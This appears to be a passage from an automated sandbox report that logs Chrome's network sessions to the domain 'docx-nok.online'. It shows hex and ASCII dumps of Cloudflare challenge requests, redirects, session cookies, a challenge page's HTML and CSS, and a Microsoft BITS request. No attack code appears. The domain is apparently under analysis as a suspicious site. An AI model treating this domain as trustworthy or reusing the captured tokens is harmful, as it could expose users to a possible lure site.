2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 61 63 64 0d 0a 55 35 65 30 4c 42 2f 58 6c 46 52 50 55 49 42 41 55 34 66 76 30 46 75 49 42 2b 67 44 6f 42 43 63 4f 49 79 55 73 37 66 6b 53 45 53 38 69 37 51 45 43 4e 43 30 75 45 51 6b 48 4f 68 51 79 50 50 6b 50 4e 44 2f 2b 41 30 59 57 51 79 67 2b 52 54 38 50 52 45 6c 47 4a 6c 45 56 56 42 52 57 4c 6b 77 59 57 6a 4a 51 48 46 34 32 55 6c 45 79 50 6d 55 6b 53 53 51 6c 59 55 38 74 58 55 67 2f 53 44 4e 6e 4d 30 56 6b 4e 79 78 53 64 48 41 37 63 33 42 4b 4f 48 74 6b 54 32 35 36 68 49 70 49 53 32 4e 75 62 57 6c 62 54 57 70 67 58 46 4a 54 62 47 78 55 6b 59 68 34 64 33 35 52 6b 70 47 6a 57 58 43 4f 66 32 5a 30 66 58 64 64 65 4b 65 5a 59 58 79 6f 68 32 57 41 72 4a 5a 30 74 62 65 53 6d 6f 32 4c 6d 48 75 39 6a 4d 43 30 67 6f 2b 35 70 73 65 71 6d 4b 53 33 79 73 32 42 6b Data Ascii: acdU5e0LB/XlFRPUIBAU4fv0FuIB+gDoBCcOIyUs7fkSES8i7QECNC0uEQkHOhQyPPkPND/+A0YWQyg+RT8PRElGJlEVVBRWLkwYWjJQHF42UlEyPmUkSSQlYU8tXUg/SDNnM0VkNyxSdHA7c3BKOHtkT256hIpIS2NubWlbTWpgXFJTbGxUkYh4d35RkpGjWXCOf2Z0fXddeKeZYXyoh2WArJZ0tbeSmo2LmHu9jMC0go+5pseqmKS3ys2Bk
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 70 34 75 45 52 31 4f 55 4d 46 64 66 6f 49 42 48 38 37 65 30 52 38 76 48 30 2f 75 67 43 48 77 50 71 2b 67 6f 54 2f 76 33 39 43 77 6f 44 46 52 63 4a 43 53 77 7a 50 2f 33 35 50 6a 45 6d 47 68 33 35 47 67 51 36 43 53 68 48 49 55 4e 51 4d 78 45 68 55 68 4a 48 47 46 41 5a 4b 69 64 5a 55 52 74 59 51 46 63 77 56 6b 55 69 52 55 68 4b 58 6b 52 69 54 53 70 65 62 31 45 72 54 56 4e 66 61 6d 4a 52 53 7a 5a 33 61 58 52 4f 50 7a 4a 34 61 32 42 53 58 59 64 42 64 55 43 48 52 57 32 47 64 6f 79 4b 63 49 61 43 67 35 4a 76 6b 35 61 54 6c 6c 52 74 6a 5a 52 59 64 5a 4b 59 65 6f 57 68 58 61 4a 2f 66 6e 2b 4b 71 4a 68 75 6f 4a 69 4f 73 4a 4f 4e 69 71 53 50 69 6f 2b 43 73 5a 57 52 76 35 75 53 69 73 4f 35 6c 49 33 48 76 59 43 53 6b 72 6d 4a 6c 36 6d 72 6f 5a 6e 54 73 35 2b 71 78 38 Data Ascii: p4uER1OUMFdfoIBH87e0R8vH0/ugCHwPq+goT/v39CwoDFRcJCSwzP/35PjEmGh35GgQ6CShHIUNQMxEhUhJHGFAZKidZURtYQFcwVkUiRUhKXkRiTSpeb1ErTVNfamJRSzZ3aXROPzJ4a2BSXYdBdUCHRW2GdoyKcIaCg5Jvk5aTllRtjZRYdZKYeoWhXaJ/fn+KqJhuoJiOsJONiqSPio+CsZWRv5uSisO5lI3HvYCSkrmJl6mroZnTs5+qx8
2024-04-19 15:01:50 UTC	34	IN	Data Raw: 46 39 6f 68 44 68 55 67 41 43 66 63 2f 67 6f 4a 42 66 62 6f 43 75 63 77 47 53 44 32 39 77 3d 3d 0d 0a Data Ascii: F9ohDhUgACfc/goJBfboCucwGSD29w==
2024-04-19 15:01:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.18	49723	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:50 UTC	477	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:50 UTC	702	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 15:01:50 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 4yyuxOBoAGKcAf2ku3LjqQ==$G/bj9mFFEDy5TIBzr+hrpQ== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F5i24wLWQjdTWVLeCQESnzIPnshaZ12WI95LwXFBFyCcSYGZUU9k65yC5mwX%2B1%2BKYtFEOuJie%2F7qbfVDGScGuhSCIjxJuMaPZvvtoVVHFsdvhXxI82FfXwbAOaeIGlsuED4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5af5b07b027-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:50 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.18	49724	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:50 UTC	1183	OUT	POST / HTTP/1.1 Host: docx-nok.online Connection: keep-alive Content-Length: 4753 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" Upgrade-Insecure-Requests: 1 Origin: https://docx-nok.online Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://docx-nok.online/?__cf_chl_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:50 UTC	4753	OUT	Data Raw: 32 34 32 33 37 33 64 30 62 64 35 38 35 38 61 31 61 36 31 66 33 35 63 37 36 38 37 66 62 35 34 63 64 62 64 36 65 61 61 62 35 62 32 35 35 33 32 36 34 65 61 61 33 39 34 32 33 63 63 63 38 30 62 63 3d 4d 41 61 36 39 31 4e 49 44 50 31 4c 56 41 4a 67 33 68 55 50 4a 71 54 32 63 36 59 6d 37 6a 49 4a 4b 77 5f 41 38 59 57 68 64 79 67 2d 31 37 31 33 35 33 38 39 30 31 2d 31 2e 31 2e 31 2e 31 2d 54 6e 68 32 48 77 52 68 5f 6f 4a 5f 5f 32 57 78 4d 70 6a 46 49 57 4d 7a 36 4f 31 32 70 44 4c 72 64 38 61 41 30 4f 37 38 52 38 46 32 54 6e 66 46 65 74 31 43 55 4d 4f 63 79 7a 69 78 39 76 4d 66 70 50 45 69 5a 46 62 70 4d 6d 4c 36 48 73 38 6a 4e 36 43 76 63 54 31 76 5f 76 57 76 65 77 44 47 74 50 78 67 70 35 78 42 35 6e 74 63 7a 5a 6b 48 73 67 46 38 59 7a 71 62 33 39 37 6c 58 63 4e Data Ascii: 242373d0bd5858a1a61f35c7687fb54cdbd6eaab5b2553264eaa39423ccc80bc=MAa691NIDP1LVAJg3hUPJqT2c6Ym7jIJKw_A8YWhdyg-1713538901-1.1.1.1-Tnh2HwRh_oJ__2WxMpjFIWMz6O12pDLrd8aA0O78R8F2TnfFet1CUMOcyzix9vMfpPEiZFbpMmL6Hs8jN6CvcT1v_vWvewDGtPxgp5xB5ntczZkHsgF8Yzqb397lXcN
2024-04-19 15:01:51 UTC	1185	IN	HTTP/1.1 302 Found Date: Fri, 19 Apr 2024 15:01:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; path=/; expires=Sat, 19-Apr-25 15:01:50 GMT; domain=.docx-nok.online; HttpOnly; Secure; SameSite=None set-cookie: PHPSESSID=3caf9fba09da43ac153673133b588c21; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache location: ./d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFIwri1hDmI2YIpJWFWLXNUkwiVrSbMhdVDH26C81nt5oCMyNTQ557vVbiBLLvHDHuTNuqW1iKy8MrjZyDLWFfIfxhJyZt15w%2FanRt5ds%2FjjHXLBARpc7StQcuvPuv1BCho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5ae9aa0b057-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.18	49725	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:50 UTC	938	OUT	GET /favicon.ico HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/?__cf_chl_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:50 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Fri, 19 Apr 2024 15:01:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16824 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: DNORpgX3aAGlh1tUO85oiHmsZqfhsIkvNH58cTrw202y3PEGfIFQezh+VAf5lOrZ6+dnaktI3ZGVQbyEKOiBnp6v+dRum8zJ+qLbneszUExDIJSkHKbubowrymSWEWCkihwU46eLvGIXbJpyxEYZbg==$CsvFBhwG/G2452/figzhYQ== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-19 15:01:50 UTC	411	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 34 38 41 58 25 32 42 48 56 30 66 4f 58 4e 4b 53 68 6a 4d 45 48 39 36 50 4c 65 69 55 76 25 32 46 79 25 32 42 65 32 41 44 41 54 58 30 6f 67 76 48 63 53 38 78 6e 76 34 47 33 37 36 54 61 71 63 46 51 32 67 76 25 32 42 36 66 78 75 52 79 36 25 32 42 43 49 49 73 6b 67 70 4c 71 67 41 67 6c 58 77 32 7a 59 77 30 4b 66 49 4e 6f 56 46 74 62 48 30 54 54 47 61 49 68 6e 35 4a 43 6b 4a 49 72 4a 37 42 49 75 43 59 33 42 67 6c 49 66 49 55 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=48AX%2BHV0fOXNKShjMEH96PLeiUv%2Fy%2Be2ADATX0ogvHcS8xnv4G376TaqcFQ2gv%2B6fxuRy6%2BCIIskgpLqgAglXw2zYw0KfINoVFtbH0TTGaIhn5JCkJIrJ7BIuCY3BglIfIU%3D"}],"group":"cf-nel","max_age":60
2024-04-19 15:01:50 UTC	1037	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 Data Ascii: vMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5Ii
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 Data Ascii: #b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiI
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 Data Ascii: .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(d
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b Data Ascii: 1c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 Data Ascii: 1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-t
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 Data Ascii: :60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.foot
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 Data Ascii: .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refr
2024-04-19 15:01:50 UTC	1369	IN	Data Raw: 47 71 7a 39 4d 31 62 33 63 6e 73 41 31 43 47 48 57 7a 33 62 42 39 66 6c 63 6e 57 4e 2e 73 38 37 63 71 53 4e 72 46 36 74 35 6d 5a 69 52 65 2e 56 64 55 49 58 54 58 79 66 53 77 43 72 4f 49 57 39 33 65 6e 72 49 78 51 36 65 41 4e 79 6f 72 74 78 6a 5a 47 72 78 45 65 4b 48 44 35 47 73 58 6f 54 52 31 47 4e 4d 32 42 48 4f 46 52 39 38 4a 4d 70 6b 66 6a 59 37 70 55 72 77 4b 79 51 65 73 68 36 4c 50 74 63 61 4e 36 49 50 6a 34 62 63 6b 35 57 59 73 57 56 31 59 50 59 33 5f 73 4e 34 77 61 4e 49 43 4d 6f 78 36 63 35 48 67 47 34 43 62 45 6c 30 4e 4d 31 79 50 49 58 57 53 6c 76 4a 5f 58 66 6c 49 6d 6b 4f 65 45 63 32 47 57 78 45 48 68 31 38 32 34 4f 5f 39 33 6f 30 64 65 35 7a 75 73 4d 33 6c 53 32 72 67 65 6a 4a 31 63 70 59 4c 4e 67 38 69 31 5a 4a 45 5a 4b 74 4f 78 6f 4f 58 4c Data Ascii: Gqz9M1b3cnsA1CGHWz3bB9flcnWN.s87cqSNrF6t5mZiRe.VdUIXTXyfSwCrOIW93enrIxQ6eANyortxjZGrxEeKHD5GsXoTR1GNM2BHOFR98JMpkfjY7pUrwKyQesh6LPtcaN6IPj4bck5WYsWV1YPY3_sN4waNICMox6c5HgG4CbEl0NM1yPIXWSlvJ_XflImkOeEc2GWxEHh1824O_93o0de5zusM3lS2rgejJ1cpYLNg8i1ZJEZKtOxoOXL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.18	49726	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:51 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
